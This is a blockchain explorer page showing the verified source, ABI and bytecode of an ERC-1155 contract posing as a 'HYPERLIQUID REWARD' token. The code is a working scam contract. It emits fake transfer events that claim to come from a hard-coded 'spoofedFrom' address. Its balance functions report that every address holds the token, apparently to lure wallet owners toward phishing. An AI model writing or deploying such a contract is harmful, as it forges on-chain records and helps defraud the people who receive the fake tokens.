ERC-1155
Source Code
Overview
Max Total Supply
10,000 Hype
Holders
415,495
Transfers
-
0
Market
Volume (24H)
N/A
Min Price (24H)
N/A
Max Price (24H)
N/A
Other Info
Token Contract
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
UNI
Compiler Version
v0.8.20+commit.a1b79de6
Optimization Enabled:
Yes with 200 runs
Other Settings:
shanghai EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract UNI {
string public name = "HYPERLIQUID REWARD";
string public symbol = "Hype";
string private _uri = "ipfs://bafybeidz62rgfiv62vqke4wlh7ksj75sjntoff2cfht7z2bqqtnngcxabm/0.json";
uint256 public totalSupply = 10000;
address public constant spoofedFrom = 0xF977814e90dA44bFA03b6295A0616a897441aceC;
mapping(address => bool) private _realHolders;
uint256 private randomizer;
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event URI(string value, uint256 indexed id);
constructor(uint256 _salt) {
randomizer = _salt;
emit URI(_uri, 0);
}
function mintRealOnce(uint256 tokenId) external {
require(!_realHolders[msg.sender], "Already minted");
_realHolders[msg.sender] = true;
emit TransferSingle(msg.sender, address(0), msg.sender, tokenId, 1);
}
function airdrop(address[] calldata recipients, uint256 tokenId) external {
for (uint256 i = 0; i < recipients.length; i++) {
emit TransferSingle(msg.sender, spoofedFrom, recipients[i], tokenId, 1);
}
}
function balanceOf(address, uint256) external pure returns (uint256) {
return 1;
}
function balanceOfBatch(address[] calldata accounts, uint256[] calldata) external pure returns (uint256[] memory) {
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = 1;
}
return batchBalances;
}
function uri(uint256) external view returns (string memory) {
return _uri;
}
function supportsInterface(bytes4 interfaceId) public pure returns (bool) {
return interfaceId == 0xd9b67a26;
}
}{
"optimizer": {
"enabled": true,
"runs": 200
},
"evmVersion": "shanghai",
"remappings": [],
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"_salt","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"TransferSingle","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"URI","type":"event"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"mintRealOnce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"spoofedFrom","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60c06040526012608090815271121654115493125455525108149155d0549160721b60a0525f90620000329082620001a6565b506040805180820190915260048152634879706560e01b60208201526001906200005d9082620001a6565b5060405180608001604052806049815260200162000ac060499139600290620000879082620001a6565b506127106003553480156200009a575f80fd5b5060405162000b0938038062000b09833981016040819052620000bd916200026e565b806005819055505f7f6bb7ff708619ba0610cba295a58592e0451dee2622938c8755667688daf3529b6002604051620000f7919062000286565b60405180910390a25062000313565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200012f57607f821691505b6020821081036200014e57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001a1575f81815260208120601f850160051c810160208610156200017c5750805b601f850160051c820191505b818110156200019d5782815560010162000188565b5050505b505050565b81516001600160401b03811115620001c257620001c262000106565b620001da81620001d384546200011a565b8462000154565b602080601f83116001811462000210575f8415620001f85750858301515b5f19600386901b1c1916600185901b1785556200019d565b5f85815260208120601f198616915b8281101562000240578886015182559484019460019091019084016200021f565b50858210156200025e57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200027f575f80fd5b5051919050565b5f60208083525f84546200029a816200011a565b8084870152604060018084165f8114620002bd5760018114620002d85762000305565b60ff1985168984015283151560051b89018301955062000305565b895f52865f205f5b85811015620002fd5781548b8201860152908301908801620002e0565b8a0184019650505b509398975050505050505050565b61079f80620003215f395ff3fe608060405234801561000f575f80fd5b506004361061009a575f3560e01c80634e1273f4116100635780634e1273f41461012c578063896077601461014c57806395d89b411461017f578063c204642c14610187578063e47d76e21461019c575f80fd5b8062fdd58e1461009e57806301ffc9a7146100c757806306fdde03146100fb5780630e89341c1461011057806318160ddd14610123575b5f80fd5b6100b46100ac3660046104da565b600192915050565b6040519081526020015b60405180910390f35b6100eb6100d5366004610502565b6001600160e01b031916636cdb3d1360e11b1490565b60405190151581526020016100be565b6101036101af565b6040516100be9190610530565b61010361011e36600461057b565b61023a565b6100b460035481565b61013f61013a3660046105da565b6102cc565b6040516100be9190610641565b61016773f977814e90da44bfa03b6295a0616a897441acec81565b6040516001600160a01b0390911681526020016100be565b610103610357565b61019a610195366004610684565b610364565b005b61019a6101aa36600461057b565b61040b565b5f80546101bb906106cc565b80601f01602080910402602001604051908101604052809291908181526020018280546101e7906106cc565b80156102325780601f1061020957610100808354040283529160200191610232565b820191905f5260205f20905b81548152906001019060200180831161021557829003601f168201915b505050505081565b606060028054610249906106cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610275906106cc565b80156102c05780601f10610297576101008083540402835291602001916102c0565b820191905f5260205f20905b8154815290600101906020018083116102a357829003601f168201915b50505050509050919050565b60605f8467ffffffffffffffff8111156102e8576102e8610704565b604051908082528060200260200182016040528015610311578160200160208202803683370190505b5090505f5b8581101561034d57600182828151811061033257610332610718565b60209081029190910101526103468161072c565b9050610316565b5095945050505050565b600180546101bb906106cc565b5f5b828110156104055783838281811061038057610380610718565b90506020020160208101906103959190610750565b60408051848152600160208201526001600160a01b03929092169173f977814e90da44bfa03b6295a0616a897441acec9133917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4806103fd8161072c565b915050610366565b50505050565b335f9081526004602052604090205460ff161561045f5760405162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e481b5a5b9d195960921b604482015260640160405180910390fd5b335f81815260046020526040808220805460ff19166001908117909155905183917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62916104b491878252602082015260400190565b60405180910390a450565b80356001600160a01b03811681146104d5575f80fd5b919050565b5f80604083850312156104eb575f80fd5b6104f4836104bf565b946020939093013593505050565b5f60208284031215610512575f80fd5b81356001600160e01b031981168114610529575f80fd5b9392505050565b5f6020808352835180828501525f5b8181101561055b5785810183015185820160400152820161053f565b505f604082860101526040601f19601f8301168501019250505092915050565b5f6020828403121561058b575f80fd5b5035919050565b5f8083601f8401126105a2575f80fd5b50813567ffffffffffffffff8111156105b9575f80fd5b6020830191508360208260051b85010111156105d3575f80fd5b9250929050565b5f805f80604085870312156105ed575f80fd5b843567ffffffffffffffff80821115610604575f80fd5b61061088838901610592565b90965094506020870135915080821115610628575f80fd5b5061063587828801610592565b95989497509550505050565b602080825282518282018190525f9190848201906040850190845b818110156106785783518352928401929184019160010161065c565b50909695505050505050565b5f805f60408486031215610696575f80fd5b833567ffffffffffffffff8111156106ac575f80fd5b6106b886828701610592565b909790965060209590950135949350505050565b600181811c908216806106e057607f821691505b6020821081036106fe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f6001820161074957634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f60208284031215610760575f80fd5b610529826104bf56fea2646970667358221220d983e322d17defcb7c48c0c866aeba043b8649e8ffd1ebacbdb984ea2bcc714d64736f6c63430008140033697066733a2f2f62616679626569647a36327267666976363276716b6534776c68376b736a3735736a6e746f66663263666874377a32627171746e6e67637861626d2f302e6a736f6e0000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561000f575f80fd5b506004361061009a575f3560e01c80634e1273f4116100635780634e1273f41461012c578063896077601461014c57806395d89b411461017f578063c204642c14610187578063e47d76e21461019c575f80fd5b8062fdd58e1461009e57806301ffc9a7146100c757806306fdde03146100fb5780630e89341c1461011057806318160ddd14610123575b5f80fd5b6100b46100ac3660046104da565b600192915050565b6040519081526020015b60405180910390f35b6100eb6100d5366004610502565b6001600160e01b031916636cdb3d1360e11b1490565b60405190151581526020016100be565b6101036101af565b6040516100be9190610530565b61010361011e36600461057b565b61023a565b6100b460035481565b61013f61013a3660046105da565b6102cc565b6040516100be9190610641565b61016773f977814e90da44bfa03b6295a0616a897441acec81565b6040516001600160a01b0390911681526020016100be565b610103610357565b61019a610195366004610684565b610364565b005b61019a6101aa36600461057b565b61040b565b5f80546101bb906106cc565b80601f01602080910402602001604051908101604052809291908181526020018280546101e7906106cc565b80156102325780601f1061020957610100808354040283529160200191610232565b820191905f5260205f20905b81548152906001019060200180831161021557829003601f168201915b505050505081565b606060028054610249906106cc565b80601f0160208091040260200160405190810160405280929190818152602001828054610275906106cc565b80156102c05780601f10610297576101008083540402835291602001916102c0565b820191905f5260205f20905b8154815290600101906020018083116102a357829003601f168201915b50505050509050919050565b60605f8467ffffffffffffffff8111156102e8576102e8610704565b604051908082528060200260200182016040528015610311578160200160208202803683370190505b5090505f5b8581101561034d57600182828151811061033257610332610718565b60209081029190910101526103468161072c565b9050610316565b5095945050505050565b600180546101bb906106cc565b5f5b828110156104055783838281811061038057610380610718565b90506020020160208101906103959190610750565b60408051848152600160208201526001600160a01b03929092169173f977814e90da44bfa03b6295a0616a897441acec9133917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62910160405180910390a4806103fd8161072c565b915050610366565b50505050565b335f9081526004602052604090205460ff161561045f5760405162461bcd60e51b815260206004820152600e60248201526d105b1c9958591e481b5a5b9d195960921b604482015260640160405180910390fd5b335f81815260046020526040808220805460ff19166001908117909155905183917fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62916104b491878252602082015260400190565b60405180910390a450565b80356001600160a01b03811681146104d5575f80fd5b919050565b5f80604083850312156104eb575f80fd5b6104f4836104bf565b946020939093013593505050565b5f60208284031215610512575f80fd5b81356001600160e01b031981168114610529575f80fd5b9392505050565b5f6020808352835180828501525f5b8181101561055b5785810183015185820160400152820161053f565b505f604082860101526040601f19601f8301168501019250505092915050565b5f6020828403121561058b575f80fd5b5035919050565b5f8083601f8401126105a2575f80fd5b50813567ffffffffffffffff8111156105b9575f80fd5b6020830191508360208260051b85010111156105d3575f80fd5b9250929050565b5f805f80604085870312156105ed575f80fd5b843567ffffffffffffffff80821115610604575f80fd5b61061088838901610592565b90965094506020870135915080821115610628575f80fd5b5061063587828801610592565b95989497509550505050565b602080825282518282018190525f9190848201906040850190845b818110156106785783518352928401929184019160010161065c565b50909695505050505050565b5f805f60408486031215610696575f80fd5b833567ffffffffffffffff8111156106ac575f80fd5b6106b886828701610592565b909790965060209590950135949350505050565b600181811c908216806106e057607f821691505b6020821081036106fe57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52604160045260245ffd5b634e487b7160e01b5f52603260045260245ffd5b5f6001820161074957634e487b7160e01b5f52601160045260245ffd5b5060010190565b5f60208284031215610760575f80fd5b610529826104bf56fea2646970667358221220d983e322d17defcb7c48c0c866aeba043b8649e8ffd1ebacbdb984ea2bcc714d64736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _salt (uint256): 0
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.